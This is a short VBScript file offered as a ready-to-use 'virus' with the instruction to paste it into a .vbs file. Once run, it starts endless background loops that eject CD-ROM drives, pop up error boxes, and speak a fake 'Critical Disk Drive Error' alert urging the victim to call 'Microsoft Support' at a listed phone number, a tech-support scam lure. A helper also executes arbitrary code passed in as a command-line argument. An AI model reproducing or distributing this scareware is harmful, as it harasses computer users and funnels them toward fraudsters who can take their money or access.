The Testing multivrus

'Hello, if u want a virus liek diz just go paste it into A .vbs file :D'
'Oh and if your using XP/Vista remove the WScript.Sleep(100 * 100)  '

CheckTask ' always at the begining of the script

a=msgbox("HEY! ARE YOU SURE YOU WANNA DO THIS?" , 4+16 , "W>A.R.N222")
if a = vbyes then
b=msgbox("die noob lol" , 0+16 , "INVADER ALERT")

LaunchTask "EjectCdRoms" ' friendly keep CD-ROMs opened
WScript.Sleep(100 * 100)
LaunchTask "MsgA" ' friendly show the message A
WScript.Sleep(100 * 100)
LaunchTask "MsgB" ' friendly show the message B
WScript.Sleep(100 * 100)
LaunchTask "Speak" ' friendly speak
WScript.Sleep(100 * 100)

' procedures to be launched asynchronously

Sub EjectCdRoms()
    Dim i
    On Error Resume Next
    Do
        With CreateObject("WMPlayer.OCX.7").cdromCollection
            For i = 0 To .Count - 1
                .Item(d).Eject
            Next
        End With
        WScript.Sleep 500
    Loop
End Sub

Sub MsgA()
    Do
        WScript.Sleep 3000
        MsgBox "Critical Disk Drive Error Alert Call Microsoft Support at 03448002400 to resolve the issue", 48, "Blah"
    Loop
End Sub

Sub MsgB()
    Do
        WScript.Sleep 5000
        MsgBox "Caps Lock key Error", 48, "Blah"
    Loop
End Sub

Sub Speak()
    Do
        With CreateObject("SAPI.SpVoice")
            WScript.Sleep 4000
            .Speak "Critical Disk Drive Error Alert Call Microsoft Support at 0 3 4 4 8 0 0 2 4 0 0 to resolve the issue"
            WScript.Sleep 4000
            .Speak "Caps Lock key Error"
        End With
    Loop
End Sub

' utility procedures, do not modify

Sub CheckTask()
    If WScript.Arguments.Named.Exists("task") Then
        On Error Resume Next
        Execute WScript.Arguments.Named.Item("task")
        WScript.Quit
    End If
End Sub

Sub LaunchTask(sTaskName)
    CreateObject("WScript.Shell").Exec """" & WScript.FullName & """ """ & WScript.ScriptFullName & """ ""/task:" & sTaskName & """"
End Sub


else
c=msgbox("then not ;-;" , 0+16 , "CANCELLED")
end if